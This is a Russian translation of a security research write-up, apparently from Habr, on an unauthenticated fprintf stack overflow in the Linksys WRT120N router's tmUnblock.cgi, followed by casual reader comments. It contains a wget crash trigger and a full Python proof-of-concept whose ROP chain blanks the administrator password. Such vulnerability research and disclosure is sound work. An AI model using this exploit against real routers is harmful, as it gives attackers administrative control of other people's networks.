Переполненяем стек в fprintf на Linksys WRT120N

http://www.devttys0.com/2014/02/wrt120n-fprintf-stack-overflow/
  • Перевод
После того, как мы получили расшифрованную прошивку и JTAG-доступ к устройству, настало время поисследовать код на какие-нибудь интересные баги.
Как мы узнали раньше, WRT120N работает на RTOS. В целях безопасности, административный WEB-интерфейс RTOS использует HTTP Basic authentication:

image

Большинство страниц требуют аутентификацию, но есть несколько страниц, которые явно запрещают ее:

image

image

Любой запрос на эти URL будет выполнен без аутентификации, поэтому это хорошее место для поиска багов.

Некоторые из этих страниц не существуют на самом деле, другие существуют, но ничего не делают (NULL-функции). Однако, страница по адресу /cgi/tmUnBlock.cgi имеет какой-то обработчик, который обрабатывает пользовательские данные:
image

Интересный кусок кода, который следует рассмотреть — вот этот вот:
fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"));


Хоть и на первый взгляд он выглядит порядочным, обработка параметра TM_Block_URL POST-запроса уязвима благодаря недостатку в имплементации fprintf:
image

Да, fprintf вызывает vsprintf с форматом и аргументами и складываем в локальный буфер, ограниченный 256 байтами.
image
Уважай себя. Не используй sprintf.

Это значит, что POST-параметр TM_Block_URL вызовет переполнение стека в fprintf, если он будет больше 246 байтов (sizeof(buf) – strlen(“Location: “)):
$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi

image
Стектрейс падения

Сделаем-ка простенький эксплоит, который будет перезаписывать критические данные в памяти, ну, например, пароль администратора, который находится по адресу 0x81544AF0:
image

Пароль администратора является стандартной NULL-terminated строкой, поэтому если мы сможем записать всего лишь один NULL байт по адресу, то мы сможем залогиниться в роутер с пустым паролем. Нам нужно убедиться, что система продолжит нормально работать после эксплоита.

Если посмотреть на конец функции fprintf, можно увидеть, что регистры $ra и $s0 восстанавливаются из стека, значит, мы можем управлять этими регистрами, когда мы переполняем стек:
image

Есть еще отличный кусок кода по адресу 0x8031F634, который записывает 4 NULL-байта из регистра $zero по адресу в регистре $s0.
image

Если мы используем переполнение так, чтобы fprintf вернулся на 0x8031F634 и перезаписал $s0 адресом с административным паролем (0x81544AF0), тогда этот код сделает следующее:
  • Сбросил пароль администратора
  • Возвратится на адрес возврата из стека (а мы контролируем стек)
  • Добавит 16 к указателю стека


Последний пункт является проблемой. Нам нужно, чтобы система продолжила работать и не упала, но если мы просто вернемся в функцию cgi_tmUnBlock как fprintf и сделал бы, мы получим смещение стека на 16 байт.

Найти пригодный к использованию MIPS ROP gadget (последовательности инструкций для выполнения обратно-ориентированного программирования, прим. пер.), который уменьшает указатель стека на 16 байт может быть проблематично, поэтому мы пойдем другим путем.

Если посмотреть на адрес, где fprintf должен был вернуться в cgi_tmUnblock, мы можем увидеть, что все что он там делает, это восстанавливает $ra, $s1 и $s0 из стека, затем возвращается и добавляет 0×60 к указателю стека:
image

Конечно, нет таких gadgets, которые бы именно это и делали, но есть неплохой по адресу 0x803471B8, который довольно похож:
image

Этот gadget добавляет к стеку только 0×10, но это не проблема. Мы сделаем дополнительные stack frames, которые заставят ROP gadget вернуться саму в себя 5 раз. На пятой итерации, оригинальные значения $ra, $s1 и $s0, которые мы передавали в cgi_tmUnblock, будут восстановлены из стека, и наш ROP gadget вернется к caller'у cgi_tmUnblock:
image

С правильными значениями в стеке и регистрах, система продолжит работу как ни в чем не бывало. Вот вам PoC (скачать):
import sys
import urllib2
 
try:
    target = sys.argv[1]
except IndexError:
    print "Usage: %s <target ip>" % sys.argv[0]
    sys.exit(1)
 
url = target + '/cgi-bin/tmUnblock.cgi'
if '://' not in url:
    url = 'http://' + url
 
post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
post_data += "B" * 246                  # Filler
post_data += "\x81\x54\x4A\xF0"         # $s0, address of admin password in memory
post_data += "\x80\x31\xF6\x34"         # $ra
post_data += "C" * 0x28                 # Stack filler
post_data += "D" * 4                    # ROP 1 $s0, don't care
post_data += "\x80\x34\x71\xB8"         # ROP 1 $ra (address of ROP 2)
post_data += "E" * 8                    # Stack filler
 
for i in range(0, 4):
    post_data += "F" * 4                # ROP 2 $s0, don't care
    post_data += "G" * 4                # ROP 2 $s1, don't care
    post_data += "\x80\x34\x71\xB8"     # ROP 2 $ra (address of itself)
    post_data += "H" * (4-(3*(i/3)))    # Stack filler; needs to be 4 bytes except for the
                                        # last stack frame where it needs to be 1 byte (to
                                        # account for the trailing "\n\n" and terminating
                                        # NULL byte)
 
try:
    req = urllib2.Request(url, post_data)
    res = urllib2.urlopen(req)
except urllib2.HTTPError as e:
    if e.code == 500:
        print "OK"
    else:
        print "Received unexpected server response:", str(e)
except KeyboardInterrupt:
    pass

image

Выполнение кода тоже возможно, но об этом как-нибудь в другой раз.
Поделиться публикацией

Комментарии 12

    +6
    Может я не прав, но зачем люди любящие гибкость и настройки берут подобные роутеры? За немаленькие деньги (>200$ зачастую) они обладают на редкость куцым функционалом и настройками в стиле «Сделай мне спасибо». Mikrotik выгодно отличается на их фоне как производительностью, так и богатейшим функционалом. Все это за меньшую цену.
    Хотя возможно автору просто нравится ковырять чужие прошивки и я чего-то не понимаю.
      +5
      Автору нравится ковырять. Он купил роутер исключительно для того, чтобы прошивку расшифровать (читайте предыдущую статью, Исследуем обфускацию прошивки Linksys WRT120N)
        +2
        Тогда согласен) А то отцу подарили какой-то Linksys дороже 200$, а он даже банальный VPN туннель поднять не может. Широковещательные пакеты для него целая проблема. 5ГГц отпадает регулярно. Одно расстройство. Но красив как леденечик.
          +4
          Мне кажется, что за надпись «бай сиско» кто-то переплатил 150 баксов.
            +1
            Ну подарили самый дорогой, какой нашли. D-link до него вообще в кому впадал через день. Помогла замена на ddwrt. А потом я попробовал RouterOS и понял, что никуда с неё не уйду))
        0
        wrt120n стоит от 6 (голое «тело») до 10 долларов.
        За такие деньгие это весьма неплохая железка!
      • НЛО прилетело и опубликовало эту надпись здесь
          0
          А про JTAG-доступ будете переводить?
          (если нет — я б сделал)
            0
            Делайте, там не сильно интересно, как мне кажется.
            0
            А вам не встречалось статей про исследование роутеров Apple?
              0
              К сожалению, нет.
              0
              Спасибо за ссылку на natashenka.ca

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое